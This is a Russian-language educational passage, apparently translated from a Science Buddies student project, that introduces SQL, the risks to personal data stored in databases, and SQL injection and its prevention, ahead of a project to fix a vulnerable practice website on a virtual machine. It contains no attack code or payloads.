Язык структурированных запросов или SQL - это компьютерный язык, разработанный для простого управления базами данных .Сюда входят такие вещи, как быстрый поиск данных, их обновление или удаление. Многие веб-сайты, такие как сайты онлайн-покупок и финансовые учреждения, имеют огромные базы данных, в которых хранятся данные о миллионах их пользователей, и они используют SQL для управления этими базами данных. Например, когда вы входите на веб-сайт, на котором хранится некоторая информация о вас, он может использовать SQL для поиска вашего имени пользователя в таблице, а затем получить соответствующую информацию о вашей учетной записи. Если вы обновите что-то в своей учетной записи (например, свой почтовый адрес), он будет использовать SQL для перезаписи вашего старого адреса в базе данных и замены его новым.Учебники от CodeAcademy и Khan Academy в библиографии предоставляют введение в SQL и то, как его можно использовать для создания, редактирования и поиска в базах данных. Если вы еще не знаете SQL, вам следует изучить хотя бы одно из этих руководств, чтобы изучить основы.

Часто эти базы данных могут включать конфиденциальную личную информацию, такую ​​как номера телефонов, адрес электронной почты и почтовые адреса, номера кредитных карт или социального страхования (очень конфиденциальная информация должна быть зашифрована , а не храниться как в виде открытого текста , но это не всегда дело).В идеале только авторизованные пользователи будут иметь доступ к определенной информации в базе данных. Для веб-сайта это часто означает, что отдельные пользователи могут получить доступ к своей собственной информации, а администратор веб-сайта может иметь доступ к информации для всех пользователей. Однако хакеры могут захотеть украсть информацию по разным причинам: чтобы продать адреса электронной почты спамерам, использовать номера кредитных карт для незаконных покупок или просто чтобы нанести ущерб репутации компании, которую они взламывают.Поскольку это может вызвать смущение, проблемы или финансовый ущерб для пользователей и компании, важно обеспечить безопасность баз данных.

Один из способов, которым хакеры могут получить несанкционированный доступ к базе данных, - это SQL-инъекция . SQL-инъекция - это особый тип инъекции кода , при котором хакер обманом заставляет веб-сайт выполнить команду SQL, что приводит к несанкционированному доступу к данным. Это можно сделать, например, введя умно отформатированный оператор SQL в текстовое поле ввода на веб-сайте (например, в поле поиска или логин по имени пользователя / паролю).SQL-инъекцию можно предотвратить с помощью нескольких методов с разным уровнем надежности, таких как , дезинфицирующая входные данные, и параметризованные операторы , .

Несколько ссылок в библиографии более подробно описывают, как работает SQL-инъекция, и даже позволят вам попробовать это на себе (конечно же, на поддельной базе данных!). Изучив базовые руководства по SQL, вы должны просмотреть эти ссылки, чтобы понять, как выполнить атаку с использованием SQL-инъекции, а также как ее предотвратить. и .Затем переходите к процедуре этого проекта, и вам будет предложено исправить веб-сайт, уязвимый для SQL-инъекции. Для этого вы настроите веб-сервер с экземпляром виртуальной машины (под управлением Microsoft Windows®), созданной Science Buddies. Это позволяет вам получить доступ к вашей собственной копии виртуальной машины, используя протокол удаленного рабочего стола (RDP) , а также запускать и изменять свою собственную копию веб-сайта. Если вы не знакомы с этими терминами или не знакомы с ними, вам следует изучить их подробнее, прежде чем начинать проект.Вам нужно будет узнать, как использовать протокол удаленного рабочего стола с операционной системой вашего компьютера.

Оставить комментарий

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *